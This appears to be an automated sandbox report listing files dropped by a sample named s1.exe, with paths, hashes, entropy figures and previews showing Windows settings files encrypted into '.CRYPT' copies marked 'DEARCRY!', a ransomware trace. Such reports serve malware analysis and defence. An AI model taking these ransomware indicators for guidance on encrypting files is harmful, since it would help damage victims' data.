                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.977693841051302
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5BB08CE7DB3FF0AA6AC808F9ECCF164C
                                                              SHA1:ABB1E9FCE10F595A0ECFAD6F9F82D6CACB18850A
                                                              SHA-256:DF8633930B5F10BC55F18E4AEE1549C279DE530EAE1792BC5EA7CAB57BE21A70
                                                              SHA-512:9AB05BE888F227D2F564D6B5321F22E5A2E63FDFE5DCD8B7643B66DBAEB3007726CA08C514A461B2B4EC30F24F8E1F2FA4F4BDAAACBB9731403E9A99E20CFACC
                                                              Malicious:false
                                                              Preview: DEARCRY!....m....mQX..$.l...-..`!F[.~........!..(..fb....C0-...S."...<Q{L&.V~.....T8.~....R.....n.;...^/..3Rb<..j6.-*.......j*.8...c.Rc....@eO..!.4....e.,rk.5.W..g....t..Sp..|?.../;U;....6.....: ........[...m..ZJ@.l^~.B.\.[.....P..{R3.c...n .%.bx......J.R>/....... .......9B...qY.."S.6.].. m........tu.r..['.n}$.+/z......0.Qr.".^..'..%..o9}.....R....V......{......E..z.Y.^W.n.|.."..G7...9.\nYr.....Mw,....+....T.._Sn@XC.e.P.fI..}>...lH.!.>.......(...8G..^V;......+A;.s#.P.."...'.o..Q..G.|..........\.....PV...Z5...#I.X.`|..4f.._...S^..J...M. .:.(W6G&Uj(./.z[..........y..V$;OJ{xR..q..<....z{......PD.....U(....Qwj....!nI...N.[R.{R8d..!..5...t.6.....olc.`...Pe...i.x..Uw.....x&...u...p..rZ4.....>./B?X.Syy...'....Pn.$.Id...Bi.....<oV.@.."R..uF....b.....-c.Nn........a..2.M.e.....!...../.....a.'....q.6....s.;$.*.\.G..+@.].KY")...m..H.5&. {ho...3.\..3#..D"...._..ae..}.<K......r.|z)O..rGO0.9..N......P3"...#.i./.~...7t5.......3..Vn...9.f.s..aF.0!H..H<...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976877441080938
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:11CAC4139E895538823C90A5AEC41ADB
                                                              SHA1:5E0A85EED02C196F19F7D477D00144BD13460695
                                                              SHA-256:17D55F10206A24DD76A7F92F3F1A8B1F3990A88CE241609A597A5C7F4D9BA4A9
                                                              SHA-512:6AEAD5DFD6B637D7D09D3C723D69320D8F881DB0C430B344AADF89A4892A93F2E4B7FEC5E6AAE39BC00A9126980384CD3AD2993B6F2DFC2AC11608039009E903
                                                              Malicious:false
                                                              Preview: DEARCRY!....})3..z\o.h......=.P.r{.$.............up.^.../|~.....FP.`.k-.......i.8H.i.....j.2.=Y.....)f.......M..S.,.....!E.A.B..k...m}..QgN.....b...CA.`...Y8.h.....Ah...&...p$...kU|.N...y.I....o.T..n..,..e.K..b.X.........H...L.....W.n.R.+8..0...;H..It,?.O.*..O....... ......L...l....#...Sb"...8Z\<..!.a..5..kqK....T.;2.<.+...d.6.@..t...j.....y.jO...kb.{%.Z...9"..~...^.s.E..+@.Z..v.n..7.z`..`_.xiG...\...A.....z+..6...n.....+...<W.8.'.. Z4e.......sM....c/..i.>...~.@.w....3.$..1Jf...QLC...].7..>g@(CY....1.0.y.a....<S..}%/O..2z..]+..".DP}P.Xi.*P..K....._..:.a..._....r.Y....t.`......s...N....3.y...k..07.D:.@<.;.{..o3Z....j..r\DK8.<.o.?(...(.q......N..H..r..B..$. .Lp.?Rl.%.3..yq......"a...n....b.'........0K..].g.r?.oI..5....-..X.29._M...w.^.,..q..%.n.Vw.1......|...9.n.\...>.......Z..N..l+^...C..am3....M....=k.[\...n..K..'..!zrA........J3N.*'.q.J............v.r$..W.....J.I.....B...T.E C....7..b....iQ..X..P.\e.g3...W.&....O....D.^."-....0.8.....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978341651252355
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3EC381AC8E5878B2D11D78F80C63D73F
                                                              SHA1:ACD171EFCD504A68CB448EA9C73714036A5B8CFE
                                                              SHA-256:F8F51B83C052888B0F40CF8FCBE3C03D96402C40A9D4F206825D0A80A483326D
                                                              SHA-512:5711CF4C06B476EBFF0AED67E8313E8C748BB7F789EB4829B4B3D0FD09C34301E3DFA41E36E289AD2F764152EE71D09BAAE7D875410A02B8FD25F807D6D65812
                                                              Malicious:false
                                                              Preview: DEARCRY!....Za..k...wEF.........#.8&...F......FMe+......^...5..H...w.b..M.0.....E.aM.:O.~0".cbQI.2...c.<U.....*<<...*....P....*.KA.T..x."E..Q...Y.F...KDK.......~.Xr)c.6W.....u\..6..n.y......8....O....6....5}....b@0.z|G.^....5.X....).jd.<{q.B|.cN..a..4u.[..zXaQ..... .......%$g.........C.%...-...i.l`dwO...,m.N.,....N.#m.E}..2.n...V..<.*b..-n.o..E..M............PH.V..h.m...r...wG:^..A._.%i...:?...*.a+v;..E.&..6.-gn.....iS..*Q..k:..z.....]...R.S....</.P..O.....R....j.....bm.....8..u..(...~KoME..7..@.z.J..z.;...j6..2...g.j'../PyN.\..ka..S^.L%2.....{..z1..Y.l.p."..O!.T*.(...7../.....m'...e.]~.....,!...}.....i.=..ysq.j....1B....I4...(.[m.....@.f..F...^.....\.e._...A.X...Or..p)lFe.".m.r9r...n...#Wg.?.0.|...\..(..oJ..%.\..l(H+....{.i0...3..t..m....P.#z.\...l....*.S.]5.`..e..[......q..cr_.......S....^H...o%^M."3.......O.m<......g4L...7bJ.P.G.v....u.>l'....E..+|.....S..&.p..c...sH..o...,b...T..#C....c.7..@.;...-<a.Q..._1..?.*............!.@..kZ
                                                              C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978300947589896
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1B0F2F635875063BFF56DFB22EFA0C66
                                                              SHA1:C554B19C0E810C686A077096AB4516C4FF5E30CD
                                                              SHA-256:A9735C790DD4D5463FCD842C471BF9B9CB271BF68F521E0BA3BB93B53DFE67D1
                                                              SHA-512:F4220AEBF921B3097F1268A006A2E9B79B3493B1E9B2EC08D2426271998738727DBE3F2490D4B261F71E4BE3424D4E8DF7218522D40AE247578D8CCF7373D98F
                                                              Malicious:false
                                                              Preview: DEARCRY!....Q...-I...'s.|..L..4T.... ..)..6Z9g7o.[.a%. G1.".57.......P<6.*.9;.....t....+.N...u....J..Y..CSqk......T.*p^............b..qN.#./.Mi..}e=...K8Hz.^4.....)O..-...@...!.#.I.ck.r}...W.....OJj.T....X......9.ASm...._&...z...^.Tlb,..`...:."...9........ ......U.1........]) HN!Gb ....-.......N?.V.8x.....T...tPYMR.....8..C..)<......)...9....B!....SE.>`.....u..0.>...c...|..+_........H.*..z.M..DabK.5R..*....3.Z6IZ...o3.d.q.^.. .+...d..}K.s..a.t..c....kre...S).z...jz.....&.H .^..o.o..|,U.+...n....J..^x.a[m.8........dg..)@..q.;(.i~."...I........K8.&U..s?....Qe....V...(...v.s#..RD..#y........)E...?.....$kt.o.D.I"..1..<qf<D..ZH.....>'.K AP.D. 8.......:...};:dB.'..LI=w......`..1.dWE.M..b..U......K..Pb.*......0.lg...1j..Qo; .Xh 9N.h...+..0..o.PA.Ibs...:..-.R...Z7..o'....Hj................R.o...G....).....3l.Yq.F.......[..^Yp....`...........~...C..-`.4...:..x..B.....wMu.J.wkt...^.Q}.?O.+v....w..".>.iZ....5.X..f+9.......\\<s.x........J
                                                              C:\Users\user\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976551213606798
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D65ACDBCE98D61DEC2DCA749B849D294
                                                              SHA1:342CD209345898A996D741A676A29C5472C15BB1
                                                              SHA-256:1B65ADA3EBFC8A04F13507372D78FAC9EBE3FF0B1E10A59D761D5C6E146D7ADD
                                                              SHA-512:2D86D4E76A9E4FFA72713598183F0F619FB2D16A22BCC672D2F025A27DCB0B964AE7091EEB4F922A793BF8753C057C6F3C13BE9C974C54EC658CB6A0DC81BB4D
                                                              Malicious:false
                                                              Preview: DEARCRY!.....Y4J<.A.v.)....~U..S..i.0~W..D..!pV.].E.9...].4.....W.w......ve.g...|.G.2|.9]H.[ib/T.....D.j&;...0>....$....%....y9m......C.wg.....R..}6uvTxn5....@q.GO..$WW.....L&.....-p......"..b....@)..'.K..6..T.].5..}.6..]?Q.PS'...h... ...V........)..)t.a....... .......M....2..`g.H.....z.[.6........bDD.4(}..... .K.p......F.Y..G.....f....<.l%.sv(.2fMDl.*.5......x..?.d.g-.}.;..."..U..(....9.q.n!.].~D..zA...Y..P..[..X. ...W~....P.&..P>f@3[[.q...5a.....$.n..D.+....-..FP.,..2.)Q^..d!+..Y'....[....e..{....8....\U.Y..R.K.....c.....{...l.^....zb...%....].FE)...k9J8.j...C..Q#..?._.T.gr.W..h.4.b.`v...LB[....71.._v&d...........3.......l.1K..v..L?..._...Q.#.3.....T.....9..\..T....N....q....F..4+.^xT.U..IX...ss.U..O...>........./..h...I......_.f<....J...:.eXQ....;...*.3.*(..]`....g`...{.T.......CO....7\]E..r[x...J..M...2?.._..9.).+L/X.....KU.;M#V.L.....L..PS;%..'.{..x....-..}~...p..Mw..N7.+75..z.Q..&<..0a...2......x.^Zi..z...d..tFVRY..$...b..[....[.2
                                                              C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.97671272645986
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C2B332D02281C5F189A0946C9564E160
                                                              SHA1:26C5F3D88A4053B778502BA116B7910F8EE9B9C0
                                                              SHA-256:6AF53A41B77B7E32C2861E7D2876AE01B9B003C29E116672F499BB1226C4BF9F
                                                              SHA-512:0353482821B66DEA996F61304C5D41EAEC3702224200A07B75FC368A678DC733CFA645116C4B090FE9FD1DADF63FC8BBB8EEB47F6E1C159FD1D5B27D43DC9BEB
                                                              Malicious:false
                                                              Preview: DEARCRY!....E.m...5....h.+.H.F9.G...n.~Y6....{>..J...e...ht.vv%V.^_..]i.\L.J..[....8F.........&:.H...;.Ra.....XT{Y....M.~..a...W.K..cU...R..<...Ck..p...g.Za%....#c...e....pW!.....!......:...~...9t.Q.>R..)...k....GEq+.1[...=..ze..2..P....Z).V....._.>%..(..... ......bN.y.M.Z...U.=GH.O4DZ&-..5..G..a.....s.wO..}.....N../l..r...lP.#N.I.3.!.....".K~?..9.FQ.....DC..a.]>6YRo..V....uG.y.....QeP.\..1.cH...a..`....z.}...\^........2.-/.CE....>nr...ME.6..3.V<.....$.....H-[.n......-.TP..18(..UJ.."g..y.;tT..dkgo..S;......{$j..L.H.>.z.P?0F.sFL.F.4.0.+..y.4S@.Oc.%dK.j%...k.#..c....Y.....g.\..x6...W#....._Q..7Z..Qn{:F7...0.....,V.iW.....*.T...o..".7.......Q....^...q2.B5.>.....?..._..E.....>.K..C..=......l:..E.d ....v.C$..=g...o..8.......<..Y<.;.~..>ri.3y..4).;.wT=.-.?..".q.V....<...8.s..(..W...{..j5(...m(..u....v.......i.9......n....c...6..}`....}o<B..Qo'....z..../4V..o...y...*..l.K.....|...L..."..j.r.7..H.i.|.mV../K..p}.[.1,K|]...s....Q8...bE....Uf;....Zh.
                                                              C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\AC\INetCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.189485480641089
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:44C1305898938B5161CC4AF31B94239B
                                                              SHA1:DCCC2C0B11A33B24039C04194F0F6F15CF9AEBA3
                                                              SHA-256:037C7D87B95587CE51C4DE23F48DB0CE6CC3A3DCA6D8CF31021A4DA6652D55CC
                                                              SHA-512:5CAD185179C3A538D95FAB831E15A38DEFF79A6541A025FDA6050B8F77DF59F21997A68AB6C485D7C1CAE199694924F5715DA885828340BC5A3862DA6D16FBEF
                                                              Malicious:false
                                                              Preview: DEARCRY!.......AM.Z...v...A.r.tP....Q...S..jV..sE.FX8.q...I.'..e.<.7.P..!B/...>...z..p./...0O.u.>.#.|.o....6............O*Nb....E.I.F..z.8.v.....9..l.)....!....`..&.f.@...~...2.b...mv.....~yVln.]f...<....Z1..d(...........l...IT.......z.L.'..1...k.l."..................a[.-.R...O.
